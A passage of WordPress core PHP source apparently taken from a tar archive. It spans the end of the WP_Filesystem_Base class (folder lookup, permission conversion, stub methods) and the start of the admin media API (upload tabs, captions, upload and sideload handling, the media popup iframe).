		$folder = str_replace('\\', '/', $folder); // Windows path sanitisation

if ( isset($this->cache[ $folder ] ) )
			return $this->cache[ $folder ];

if ( $this->exists($folder) ) { // Folder exists at that absolute path.
			$folder = trailingslashit($folder);
			$this->cache[ $folder ] = $folder;
			return $folder;
		}
		if ( $return = $this->search_for_folder($folder) )
			$this->cache[ $folder ] = $return;
		return $return;
	}

/**
	 * Locate a folder on the remote filesystem.
	 *
	 * Expects Windows sanitized path.
	 *
	 * @access private
	 * @since 2.7.0
	 *
	 * @param string $folder The folder to locate.
	 * @param string $base   The folder to start searching from.
	 * @param bool   $loop   If the function has recursed, Internal use only.
	 * @return string The location of the remote path.
	 */
	function search_for_folder( $folder, $base = '.', $loop = false ) {
		if ( empty( $base ) || '.' == $base )
			$base = trailingslashit($this->cwd());

$folder = untrailingslashit($folder);

if ( $this->verbose )
			printf( "\n" . __('Looking for %1$s in %2$s') . "<br/>\n", $folder, $base );

$folder_parts = explode('/', $folder);
		$folder_part_keys = array_keys( $folder_parts );
		$last_index = array_pop( $folder_part_keys );
		$last_path = $folder_parts[ $last_index ];

$files = $this->dirlist( $base );

foreach ( $folder_parts as $index => $key ) {
			if ( $index == $last_index )
				continue; // We want this to be caught by the next code block.

// Working from /home/ to /user/ to /wordpress/ see if that file exists within the current folder,
			// If it's found, change into it and follow through looking for it.
			// If it cant find WordPress down that route, it'll continue onto the next folder level, and see if that matches, and so on.
			// If it reaches the end, and still cant find it, it'll return false for the entire function.
			if ( isset($files[ $key ]) ){
				// Lets try that folder:
				$newdir = trailingslashit(path_join($base, $key));
				if ( $this->verbose )
					printf( "\n" . __('Changing to %s') . "<br/>\n", $newdir );
				// only search for the remaining path tokens in the directory, not the full path again
				$newfolder = implode( '/', array_slice( $folder_parts, $index + 1 ) );
				if ( $ret = $this->search_for_folder( $newfolder, $newdir, $loop) )
					return $ret;
			}
		}

// Only check this as a last resort, to prevent locating the incorrect install. All above procedures will fail quickly if this is the right branch to take.
		if (isset( $files[ $last_path ] ) ) {
			if ( $this->verbose )
				printf( "\n" . __('Found %s') . "<br/>\n",  $base . $last_path );
			return trailingslashit($base . $last_path);
		}

// Prevent this function from looping again.
		// No need to proceed if we've just searched in /
		if ( $loop || '/' == $base )
			return false;

// As an extra last resort, Change back to / if the folder wasn't found.
		// This comes into effect when the CWD is /home/user/ but WP is at /var/www/....
		return $this->search_for_folder( $folder, '/', true );

}

/**
	 * Return the *nix-style file permissions for a file.
	 *
	 * From the PHP documentation page for fileperms().
	 *
	 * @link http://docs.php.net/fileperms
	 *
	 * @access public
	 * @since 2.5.0
	 *
	 * @param string $file String filename.
	 * @return string The *nix-style representation of permissions.
	 */
	function gethchmod( $file ){
		$perms = $this->getchmod($file);
		if (($perms & 0xC000) == 0xC000) // Socket
			$info = 's';
		elseif (($perms & 0xA000) == 0xA000) // Symbolic Link
			$info = 'l';
		elseif (($perms & 0x8000) == 0x8000) // Regular
			$info = '-';
		elseif (($perms & 0x6000) == 0x6000) // Block special
			$info = 'b';
		elseif (($perms & 0x4000) == 0x4000) // Directory
			$info = 'd';
		elseif (($perms & 0x2000) == 0x2000) // Character special
			$info = 'c';
		elseif (($perms & 0x1000) == 0x1000) // FIFO pipe
			$info = 'p';
		else // Unknown
			$info = 'u';

// Owner
		$info .= (($perms & 0x0100) ? 'r' : '-');
		$info .= (($perms & 0x0080) ? 'w' : '-');
		$info .= (($perms & 0x0040) ?
					(($perms & 0x0800) ? 's' : 'x' ) :
					(($perms & 0x0800) ? 'S' : '-'));

// Group
		$info .= (($perms & 0x0020) ? 'r' : '-');
		$info .= (($perms & 0x0010) ? 'w' : '-');
		$info .= (($perms & 0x0008) ?
					(($perms & 0x0400) ? 's' : 'x' ) :
					(($perms & 0x0400) ? 'S' : '-'));

// World
		$info .= (($perms & 0x0004) ? 'r' : '-');
		$info .= (($perms & 0x0002) ? 'w' : '-');
		$info .= (($perms & 0x0001) ?
					(($perms & 0x0200) ? 't' : 'x' ) :
					(($perms & 0x0200) ? 'T' : '-'));
		return $info;
	}

/**
	 * Convert *nix-style file permissions to a octal number.
	 *
	 * Converts '-rw-r--r--' to 0644
	 * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod()
 	 *
	 * @link http://docs.php.net/manual/en/function.chmod.php#49614
	 *
	 * @access public
	 * @since 2.5.0
	 *
	 * @param string $mode string The *nix-style file permission.
	 * @return int octal representation
	 */
	function getnumchmodfromh( $mode ) {
		$realmode = '';
		$legal =  array('', 'w', 'r', 'x', '-');
		$attarray = preg_split('//', $mode);

for ($i=0; $i < count($attarray); $i++)
		   if ($key = array_search($attarray[$i], $legal))
			   $realmode .= $legal[$key];

$mode = str_pad($realmode, 10, '-', STR_PAD_LEFT);
		$trans = array('-'=>'0', 'r'=>'4', 'w'=>'2', 'x'=>'1');
		$mode = strtr($mode,$trans);

$newmode = $mode[0];
		$newmode .= $mode[1] + $mode[2] + $mode[3];
		$newmode .= $mode[4] + $mode[5] + $mode[6];
		$newmode .= $mode[7] + $mode[8] + $mode[9];
		return $newmode;
	}

/**
	 * Determine if the string provided contains binary characters.
	 *
	 * @access private
	 * @since 2.7.0
	 *
	 * @param string $text String to test against.
	 * @return bool true if string is binary, false otherwise.
	 */
	function is_binary( $text ) {
		return (bool) preg_match( '|[^\x20-\x7E]|', $text ); // chr(32)..chr(127)
	}

/**
	 * Change the ownership of a file / folder.
	 *
	 * Default behavior is to do nothing, override this in your subclass, if desired.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file      Path to the file.
	 * @param mixed  $owner     A user name or number.
	 * @param bool   $recursive Optional. If set True changes file owner recursivly. Defaults to False.
	 * @return bool Returns true on success or false on failure.
	 */
	function chown( $file, $owner, $recursive = false ) {
		return false;
	}

/**
	 * Connect filesystem.
	 *
	 * @since 2.5.0
	 *
	 * @return bool True on success or false on failure (always true for WP_Filesystem_Direct).
	 */
	function connect() {
		return true;
	}

/**
	 * Read entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|bool Returns the read data or false on failure.
	 */
	function get_contents( $file ) {
		return false;
	}

/**
	 * Read entire file into an array.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return array|bool the file contents in an array or false on failure.
	 */
	function get_contents_array( $file ) {
		return false;
	}

/**
	 * Write a string to a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file     Remote path to the file where to write the data.
	 * @param string $contents The data to write.
	 * @param int    $mode     Optional. The file permissions as octal number, usually 0644.
	 * @return bool False on failure.
	 */
	function put_contents( $file, $contents, $mode = false ) {
		return false;
	}

/**
	 * Get the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|bool The current working directory on success, or false on failure.
	 */
	function cwd() {
		return false;
	}

/**
	 * Change current directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool Returns true on success or false on failure.
	 */
	function chdir( $dir ) {
		return false;
	}

/**
	 * Change the file group.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file      Path to the file.
	 * @param mixed  $group     A group name or number.
	 * @param bool   $recursive Optional. If set True changes file group recursively. Defaults to False.
	 * @return bool Returns true on success or false on failure.
	 */
	function chgrp( $file, $group, $recursive = false ) {
		return false;
	}

/**
	 * Change filesystem permissions.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file      Path to the file.
	 * @param int    $mode      Optional. The permissions as octal number, usually 0644 for files, 0755 for dirs.
	 * @param bool   $recursive Optional. If set True changes file group recursively. Defaults to False.
	 * @return bool Returns true on success or false on failure.
	 */
	function chmod( $file, $mode = false, $recursive = false ) {
		return false;
	}

/**
	 * Get the file owner.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|bool Username of the user or false on error.
	 */
	function owner( $file ) {
		return false;
	}

/**
	 * Get the file's group.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|bool The group or false on error.
	 */
	function group( $file ) {
		return false;
	}

/**
	 * Copy a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @param int    $mode        Optional. The permissions as octal number, usually 0644 for files, 0755 for dirs.
	 *                            Default false.
	 * @return bool True if file copied successfully, False otherwise.
	 */
	function copy( $source, $destination, $overwrite = false, $mode = false ) {
		return false;
	}

/**
	 * Move a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True if file copied successfully, False otherwise.
	 */
	function move( $source, $destination, $overwrite = false ) {
		return false;
	}

/**
	 * Delete a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file      Path to the file.
	 * @param bool   $recursive Optional. If set True changes file group recursively. Defaults to False.
	 *                          Default false.
	 * @param bool   $type      Type of resource. 'f' for file, 'd' for directory.
	 *                          Default false.
	 * @return bool True if the file or directory was deleted, false on failure.
	 */
	function delete( $file, $recursive = false, $type = false ) {
		return false;
	}

/**
	 * Check if a file or directory exists.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file/directory.
	 * @return bool Whether $file exists or not.
	 */
	function exists( $file ) {
		return false;
	}

/**
	 * Check if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	function is_file( $file ) {
		return false;
	}

/**
	 * Check if resource is a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	function is_dir( $path ) {
		return false;
	}

/**
	 * Check if a file is readable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	function is_readable( $file ) {
		return false;
	}

/**
	 * Check if a file or directory is writable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Path to file/directory.
	 * @return bool Whether $file is writable.
	 */
	function is_writable( $file ) {
		return false;
	}

/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int Unix timestamp representing last access time.
	 */
	function atime( $file ) {
		return false;
	}

/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int Unix timestamp representing modification time.
	 */
	function mtime( $file ) {
		return false;
	}

/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int Size of the file in bytes.
	 */
	function size( $file ) {
		return false;
	}

/**
	 * Set the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool Whether operation was successful or not.
	 */
	function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

/**
	 * Create a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path  Path for new directory.
	 * @param mixed  $chmod Optional. The permissions as octal number, (or False to skip chmod)
	 *                      Default false.
	 * @param mixed  $chown Optional. A user name or number (or False to skip chown)
	 *                      Default false.
	 * @param mixed  $chgrp Optional. A group name or number (or False to skip chgrp).
	 *                      Default false.
	 * @return bool False if directory cannot be created, true otherwise.
	 */
	function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		return false;
	}

/**
	 * Delete a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool Whether directory is deleted successfully or not.
	 */
	function rmdir( $path, $recursive = false ) {
		return false;
	}

/**
	 * Get details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|bool {
	 *     Array of files. False if unable to list directory contents.
	 *
	 *     @type string 'name'        Name of the file/directory.
	 *     @type string 'perms'       *nix representation of permissions.
	 *     @type int    'permsn'      Octal representation of permissions.
	 *     @type string 'owner'       Owner name or ID.
	 *     @type int    'size'        Size of file in bytes.
	 *     @type int    'lastmodunix' Last modified unix timestamp.
	 *     @type mixed  'lastmod'     Last modified month (3 letter) and day (without leading 0).
	 *     @type int    'time'        Last modified time.
	 *     @type string 'type'        Type of resource. 'f' for file, 'd' for directory.
	 *     @type mixed  'files'       If a directory and $recursive is true, contains another array of files.
	 * }
	 */
	function dirlist( $path, $include_hidden = true, $recursive = false ) {
		return false;
	}

} // WP_Filesystem_Base
media.php000077700000276205151514577750006400 0ustar00<?php
/**
 * WordPress Administration Media API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Defines the default media upload tabs
 *
 * @since 2.5.0
 *
 * @return array default tabs
 */
function media_upload_tabs() {
	$_default_tabs = array(
		'type' => __('From Computer'), // handler action suffix => tab text
		'type_url' => __('From URL'),
		'gallery' => __('Gallery'),
		'library' => __('Media Library')
	);

/**
	 * Filter the available tabs in the legacy (pre-3.5.0) media popup.
	 *
	 * @since 2.5.0
	 *
	 * @param array $_default_tabs An array of media tabs.
	 */
	return apply_filters( 'media_upload_tabs', $_default_tabs );
}

/**
 * Adds the gallery tab back to the tabs array if post has image attachments
 *
 * @since 2.5.0
 *
 * @param array $tabs
 * @return array $tabs with gallery if post has image attachment
 */
function update_gallery_tab($tabs) {
	global $wpdb;

if ( !isset($_REQUEST['post_id']) ) {
		unset($tabs['gallery']);
		return $tabs;
	}

$post_id = intval($_REQUEST['post_id']);

if ( $post_id )
		$attachments = intval( $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) ) );

if ( empty($attachments) ) {
		unset($tabs['gallery']);
		return $tabs;
	}

$tabs['gallery'] = sprintf(__('Gallery (%s)'), "<span id='attachments-count'>$attachments</span>");

return $tabs;
}
add_filter('media_upload_tabs', 'update_gallery_tab');

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 */
function the_media_upload_tabs() {
	global $redir_tab;
	$tabs = media_upload_tabs();
	$default = 'type';

if ( !empty($tabs) ) {
		echo "<ul id='sidemenu'>\n";
		if ( isset($redir_tab) && array_key_exists($redir_tab, $tabs) ) {
			$current = $redir_tab;
		} elseif ( isset($_GET['tab']) && array_key_exists($_GET['tab'], $tabs) ) {
			$current = $_GET['tab'];
		} else {
			/** This filter is documented in wp-admin/media-upload.php */
			$current = apply_filters( 'media_upload_default_tab', $default );
		}

foreach ( $tabs as $callback => $text ) {
			$class = '';

if ( $current == $callback )
				$class = " class='current'";

$href = add_query_arg(array('tab' => $callback, 's' => false, 'paged' => false, 'post_mime_type' => false, 'm' => false));
			$link = "<a href='" . esc_url($href) . "'$class>$text</a>";
			echo "\t<li id='" . esc_attr("tab-$callback") . "'>$link</li>\n";
		}
		echo "</ul>\n";
	}
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param integer $id image attachment id
 * @param string $caption image caption
 * @param string $alt image alt attribute
 * @param string $title image title attribute
 * @param string $align image css alignment property
 * @param string $url image src url
 * @param string|bool $rel image rel attribute
 * @param string $size image size (thumbnail, medium, large, full or added  with add_image_size() )
 * @return string the html to insert into editor
 */
function get_image_send_to_editor($id, $caption, $title, $align, $url='', $rel = false, $size='medium', $alt = '') {

$html = get_image_tag($id, $alt, '', $align, $size);

$rel = $rel ? ' rel="attachment wp-att-' . esc_attr($id).'"' : '';

if ( $url )
		$html = '<a href="' . esc_attr($url) . "\"$rel>$html</a>";

/**
	 * Filter the image HTML markup to send to the editor.
	 *
	 * @since 2.5.0
	 *
	 * @param string $html    The image HTML markup to send.
	 * @param int    $id      The attachment id.
	 * @param string $caption The image caption.
	 * @param string $title   The image title.
	 * @param string $align   The image alignment.
	 * @param string $url     The image source URL.
	 * @param string $size    The image size.
	 * @param string $alt     The image alternative, or alt, text.
	 */
	$html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt );

return $html;
}

/**
 * Adds image shortcode with caption to editor
 *
 * @since 2.6.0
 *
 * @param string $html
 * @param integer $id
 * @param string $caption image caption
 * @param string $alt image alt attribute
 * @param string $title image title attribute
 * @param string $align image css alignment property
 * @param string $url image src url
 * @param string $size image size (thumbnail, medium, large, full or added with add_image_size() )
 * @return string
 */
function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) {

/**
	 * Filter whether to disable captions.
	 *
	 * Prevents image captions from being appended to image HTML when inserted into the editor.
	 *
	 * @since 2.6.0
	 *
	 * @param bool $bool Whether to disable appending captions. Returning true to the filter
	 *                   will disable captions. Default empty string.
	 */
	if ( empty($caption) || apply_filters( 'disable_captions', '' ) )
		return $html;

$id = ( 0 < (int) $id ) ? 'attachment_' . $id : '';

if ( ! preg_match( '/width=["\']([0-9]+)/', $html, $matches ) )
		return $html;

$width = $matches[1];

$caption = str_replace( array("\r\n", "\r"), "\n", $caption);
	$caption = preg_replace_callback( '/<[a-zA-Z0-9]+(?: [^<>]+>)*/', '_cleanup_image_add_caption', $caption );
	// convert any remaining line breaks to <br>
	$caption = preg_replace( '/[ \n\t]*\n[ \t]*/', '<br />', $caption );

$html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html );
	if ( empty($align) )
		$align = 'none';

$shcode = '[caption id="' . $id . '" align="align' . $align	. '" width="' . $width . '"]' . $html . ' ' . $caption . '[/caption]';

/**
	 * Filter the image HTML markup including the caption shortcode.
	 *
	 * @since 2.6.0
	 *
	 * @param string $shcode The image HTML markup with caption shortcode.
	 * @param string $html   The image HTML markup.
	 */
	return apply_filters( 'image_add_caption_shortcode', $shcode, $html );
}
add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 );

/**
 * Private preg_replace callback used in image_add_caption()
 *
 * @access private
 * @since 3.4.0
 */
function _cleanup_image_add_caption( $matches ) {
	// remove any line breaks from inside the tags
	return preg_replace( '/[\r\n\t]+/', ' ', $matches[0] );
}

/**
 * Adds image html to editor
 *
 * @since 2.5.0
 *
 * @param string $html
 */
function media_send_to_editor($html) {
?>
<script type="text/javascript">
/* <![CDATA[ */
var win = window.dialogArguments || opener || parent || top;
win.send_to_editor('<?php echo addslashes($html); ?>');
/* ]]> */
</script>
<?php
	exit;
}

/**
 * This handles the file upload POST itself, creating the attachment post.
 *
 * @since 2.5.0
 *
 * @param string $file_id Index into the {@link $_FILES} array of the upload
 * @param int $post_id The post ID the media is associated with
 * @param array $post_data allows you to overwrite some of the attachment
 * @param array $overrides allows you to override the {@link wp_handle_upload()} behavior
 * @return int|WP_Error ID of the attachment or a WP_Error object on failure.
 */
function media_handle_upload($file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false )) {

$time = current_time('mysql');
	if ( $post = get_post($post_id) ) {
		if ( substr( $post->post_date, 0, 4 ) > 0 )
			$time = $post->post_date;
	}

$name = $_FILES[$file_id]['name'];
	$file = wp_handle_upload($_FILES[$file_id], $overrides, $time);

if ( isset($file['error']) )
		return new WP_Error( 'upload_error', $file['error'] );

$name_parts = pathinfo($name);
	$name = trim( substr( $name, 0, -(1 + strlen($name_parts['extension'])) ) );

$url = $file['url'];
	$type = $file['type'];
	$file = $file['file'];
	$title = sanitize_text_field( $name );
	$content = '';

if ( preg_match( '#^audio#', $type ) ) {
		$meta = wp_read_audio_metadata( $file );

if ( ! empty( $meta['title'] ) )
			$title = $meta['title'];

$content = '';

if ( ! empty( $title ) ) {

if ( ! empty( $meta['album'] ) && ! empty( $meta['artist'] ) ) {
				/* translators: 1: audio track title, 2: album title, 3: artist name */
				$content .= sprintf( __( '"%1$s" from %2$s by %3$s.' ), $title, $meta['album'], $meta['artist'] );
			} else if ( ! empty( $meta['album'] ) ) {
				/* translators: 1: audio track title, 2: album title */
				$content .= sprintf( __( '"%1$s" from %2$s.' ), $title, $meta['album'] );
			} else if ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: audio track title, 2: artist name */
				$content .= sprintf( __( '"%1$s" by %2$s.' ), $title, $meta['artist'] );
			} else {
				$content .= sprintf( __( '"%s".' ), $title );
			}

} else if ( ! empty( $meta['album'] ) ) {

if ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: audio album title, 2: artist name */
				$content .= sprintf( __( '%1$s by %2$s.' ), $meta['album'], $meta['artist'] );
			} else {
				$content .= $meta['album'] . '.';
			}

} else if ( ! empty( $meta['artist'] ) ) {

$content .= $meta['artist'] . '.';

}

if ( ! empty( $meta['year'] ) )
			$content .= ' ' . sprintf( __( 'Released: %d.' ), $meta['year'] );

if ( ! empty( $meta['track_number'] ) ) {
			$track_number = explode( '/', $meta['track_number'] );
			if ( isset( $track_number[1] ) )
				$content .= ' ' . sprintf( __( 'Track %1$s of %2$s.' ), number_format_i18n( $track_number[0] ), number_format_i18n( $track_number[1] ) );
			else
				$content .= ' ' . sprintf( __( 'Track %1$s.' ), number_format_i18n( $track_number[0] ) );
		}

if ( ! empty( $meta['genre'] ) )
			$content .= ' ' . sprintf( __( 'Genre: %s.' ), $meta['genre'] );

// use image exif/iptc data for title and caption defaults if possible
	} elseif ( $image_meta = @wp_read_image_metadata( $file ) ) {
		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) )
			$title = $image_meta['title'];
		if ( trim( $image_meta['caption'] ) )
			$content = $image_meta['caption'];
	}

// Construct the attachment array
	$attachment = array_merge( array(
		'post_mime_type' => $type,
		'guid' => $url,
		'post_parent' => $post_id,
		'post_title' => $title,
		'post_content' => $content,
	), $post_data );

// This should never be set as it would then overwrite an existing attachment.
	if ( isset( $attachment['ID'] ) )
		unset( $attachment['ID'] );

// Save the data
	$id = wp_insert_attachment($attachment, $file, $post_id);
	if ( !is_wp_error($id) ) {
		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
	}

return $id;

}

/**
 * This handles a sideloaded file in the same way as an uploaded file is handled by {@link media_handle_upload()}
 *
 * @since 2.6.0
 *
 * @param array $file_array Array similar to a {@link $_FILES} upload array
 * @param int $post_id The post ID the media is associated with
 * @param string $desc Description of the sideloaded file
 * @param array $post_data allows you to overwrite some of the attachment
 * @return int|object The ID of the attachment or a WP_Error on failure
 */
function media_handle_sideload($file_array, $post_id, $desc = null, $post_data = array()) {
	$overrides = array('test_form'=>false);

$time = current_time( 'mysql' );
	if ( $post = get_post( $post_id ) ) {
		if ( substr( $post->post_date, 0, 4 ) > 0 )
			$time = $post->post_date;
	}

$file = wp_handle_sideload( $file_array, $overrides, $time );
	if ( isset($file['error']) )
		return new WP_Error( 'upload_error', $file['error'] );

$url = $file['url'];
	$type = $file['type'];
	$file = $file['file'];
	$title = preg_replace('/\.[^.]+$/', '', basename($file));
	$content = '';

// use image exif/iptc data for title and caption defaults if possible
	if ( $image_meta = @wp_read_image_metadata($file) ) {
		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) )
			$title = $image_meta['title'];
		if ( trim( $image_meta['caption'] ) )
			$content = $image_meta['caption'];
	}

if ( isset( $desc ) )
		$title = $desc;

// This should never be set as it would then overwrite an existing attachment.
	if ( isset( $attachment['ID'] ) )
		unset( $attachment['ID'] );

// Save the attachment metadata
	$id = wp_insert_attachment($attachment, $file, $post_id);
	if ( !is_wp_error($id) )
		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );

return $id;
}

/**
 * Adds the iframe to display content for the media upload page
 *
 * @since 2.5.0
 *
 * @param array $content_func
 */
function wp_iframe($content_func /* ... */) {
	_wp_admin_html_begin();
?>
<title><?php bloginfo('name') ?> &rsaquo; <?php _e('Uploads'); ?> &#8212; <?php _e('WordPress'); ?></title>
<?php

wp_enqueue_style( 'colors' );
// Check callback name for 'media'
if ( ( is_array( $content_func ) && ! empty( $content_func[1] ) && 0 === strpos( (string) $content_func[1], 'media' ) )
	|| ( ! is_array( $content_func ) && 0 === strpos( $content_func, 'media' ) ) )
	wp_enqueue_style( 'media' );
wp_enqueue_style( 'ie' );
?>
<script type="text/javascript">
//<![CDATA[
addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>', pagenow = 'media-upload-popup', adminpage = 'media-upload-popup',
isRtl = <?php echo (int) is_rtl(); ?>;
//]]>
</script>
<?php
	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_enqueue_scripts', 'media-upload-popup' );

/**
	 * Fires when admin styles enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_styles-media-upload-popup' );

/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_styles' );

/**
	 * Fires when admin scripts enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_scripts-media-upload-popup' );

/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_scripts' );

/**
	 * Fires when scripts enqueued for the admin header for the legacy (pre-3.5.0)
	 * media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_head-media-upload-popup' );

/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_head' );

if ( is_string( $content_func ) ) {
	/**
	 * Fires in the admin header for each specific form tab in the legacy
	 * (pre-3.5.0) media upload popup.
	 *
	 * The dynamic portion of the hook, $content_func, refers to the form
	 * callback for the media upload type. Possible values include
	 * 'media_upload_type_form', 'media_upload_type_url_form', and
	 * 'media_upload_library_form'.
	 *
	 * @since 2.5.0
	 */
	do_action( "admin_head_{$content_func}" );
}
?>
</head>
<body<?php if ( isset($GLOBALS['body_id']) ) echo ' id="' . $GLOBALS['body_id'] . '"'; ?> class="wp-core-ui no-js">
<script type="text/javascript">
document.body.className = document.body.className.replace('no-js', 'js');
</script>
<?php
	$args = func_get_args();
	$args = array_slice($args, 1);
	call_user_func_array($content_func, $args);

/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_print_footer_scripts' );
?>
<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
</body>
</html>
<?php
}

/**
 * Adds the media button to the editor
 *
 * @since 2.5.0
 *
 * @param string $editor_id
 */
function media_buttons($editor_id = 'content') {
	$post = get_post();
	if ( ! $post && ! empty( $GLOBALS['post_ID'] ) )
		$post = $GLOBALS['post_ID'];

wp_enqueue_media( array(
		'post' => $post
	) );

$img = '<span class="wp-media-buttons-icon"></span> ';

echo '<a href="#" id="insert-media-button" class="button insert-media add_media" data-editor="' . esc_attr( $editor_id ) . '" title="' . esc_attr__( 'Add Media' ) . '">' . $img . __( 'Add Media' ) . '</a>';

/**
	 * Filter the legacy (pre-3.5.0) media buttons.
	 *
	 * @since 2.5.0
	 * @deprecated 3.5.0 Use 'media_buttons' action instead.
	 *
	 * @param string $string Media buttons context. Default empty.
	 */
	$legacy_filter = apply_filters( 'media_buttons_context', '' );

if ( $legacy_filter ) {
		// #WP22559. Close <a> if a plugin started by closing <a> to open their own <a> tag.
		if ( 0 === stripos( trim( $legacy_filter ), '</a>' ) )
			$legacy_filter .= '</a>';
		echo $legacy_filter;
	}
}
add_action( 'media_buttons', 'media_buttons' );

function get_upload_iframe_src( $type = null, $post_id = null, $tab = null ) {
	global $post_ID;

if ( empty( $post_id ) )
		$post_id = $post_ID;

$upload_iframe_src = add_query_arg( 'post_id', (int) $post_id, admin_url('media-upload.php') );

if ( $type && 'media' != $type )
		$upload_iframe_src = add_query_arg('type', $type, $upload_iframe_src);

if ( ! empty( $tab ) )
		$upload_iframe_src = add_query_arg('tab', $tab, $upload_iframe_src);

/**
	 * Filter the upload iframe source URL for a specific media type.
	 *
	 * The dynamic portion of the hook name, $type, refers to the type
	 * of media uploaded.
	 *
	 * @since 3.0.0
	 *
	 * @param string $upload_iframe_src The upload iframe source URL by type.
	 */
	$upload_iframe_src = apply_filters( $type . '_upload_iframe_src', $upload_iframe_src );

return add_query_arg('TB_iframe', true, $upload_iframe_src);
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @return mixed void|object WP_Error on failure
 */
function media_upload_form_handler() {
	check_admin_referer('media-form');

$errors = null;

if ( isset($_POST['send']) ) {
		$keys = array_keys($_POST['send']);
		$send_id = (int) array_shift($keys);
	}

if ( !empty($_POST['attachments']) ) foreach ( $_POST['attachments'] as $attachment_id => $attachment ) {
		$post = $_post = get_post($attachment_id, ARRAY_A);

if ( !current_user_can( 'edit_post', $attachment_id ) )
			continue;

if ( isset($attachment['post_content']) )
			$post['post_content'] = $attachment['post_content'];
		if ( isset($attachment['post_title']) )
			$post['post_title'] = $attachment['post_title'];
		if ( isset($attachment['post_excerpt']) )
			$post['post_excerpt'] = $attachment['post_excerpt'];
		if ( isset($attachment['menu_order']) )
			$post['menu_order'] = $attachment['menu_order'];

if ( isset($send_id) && $attachment_id == $send_id ) {
			if ( isset($attachment['post_parent']) )
				$post['post_parent'] = $attachment['post_parent'];
		}

/**
		 * Filter the attachment fields to be saved.
		 *
		 * @since 2.5.0
		 *
		 * @see wp_get_attachment_metadata()
		 *
		 * @param WP_Post $post       The WP_Post object.
